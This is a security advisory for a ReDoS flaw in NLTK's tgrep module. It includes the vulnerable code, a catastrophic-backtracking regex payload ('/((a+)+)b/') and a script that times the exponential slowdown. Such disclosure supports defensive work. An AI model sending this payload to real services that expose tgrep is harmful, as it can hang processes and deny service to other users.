GHSA-w3v8-gmh9-3wv7

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    GHSA-w3v8-gmh9-3wv7

    Published: 8 Sept 2026Last Modified: 8 Sept 2026

    Summary: NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

    Details: ### Summary The NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely. ### Affected Code `nltk/tgrep.py` — `_tgrep_node_action()` (around line 320) When a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation: ```python def _tgrep_node_action(_s, _l, tokens): ... elif tokens[0].startswith("/"): assert tokens[0].endswith("/") node_lit = tokens[0][1:-1] return ( lambda r: lambda n, m=None, l=None: r.search( _tgrep_node_literal_value(n) ) )(re.compile(node_lit)) # User regex compiled and executed with no timeout ``` The compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely. ### Proof of Concept ```python import nltk from nltk.tgrep import tgrep_positions # Root node label is 25 'a' characters. # tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a") # No 'b' is present — exponential backtracking occurs. tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))") tgrep_positions(r"/((a+)+)b/", [tree]) # Never returns ``` ### Working Poc The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely. ```python import nltk from nltk.tgrep import tgrep_positions import time def test_n(n): tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))") pattern = r"/((a+)+)b/" start = time.perf_counter() list(tgrep_positions(pattern, [tree])) return time.perf_counter() - start if __name__ == "__main__": # Adjust the range if needed – these values complete quickly n_values = [18, 20, 22, 24, 26, 28] print(f"Testing n = {n_values}\n") times = [] for n in n_values: t = test_n(n) times.append((n, t)) print(f"n={n:2d} done", flush=True) print("\n--- Increase factors (per step in n) ---") factors = [] for i in range(1, len(times)): prev_n, prev_t = times[i-1] curr_n, curr_t = times[i] factor = curr_t / prev_t factors.append((curr_n, factor)) print(f"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})") avg = sum(f for _, f in factors) / len(factors) print(f"\nAverage factor: {avg:.2f}x") print("\n✅ Confirmed: exponential growth (catastrophic backtracking).") print(" Larger n (≥ 35) will hang indefinitely.") ``` When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability. ### Impact In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process. ### Remediation This issue remains unfixed in versions `<= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism. ### Credit Tool: Kira by [Offgrid Security](https://www.offgridsec.com)

    Affected packages

    Package

    Name: nltk

    Purl: pkg:pypi/nltk

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -3.10.3

    Affected versions

    0.8

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
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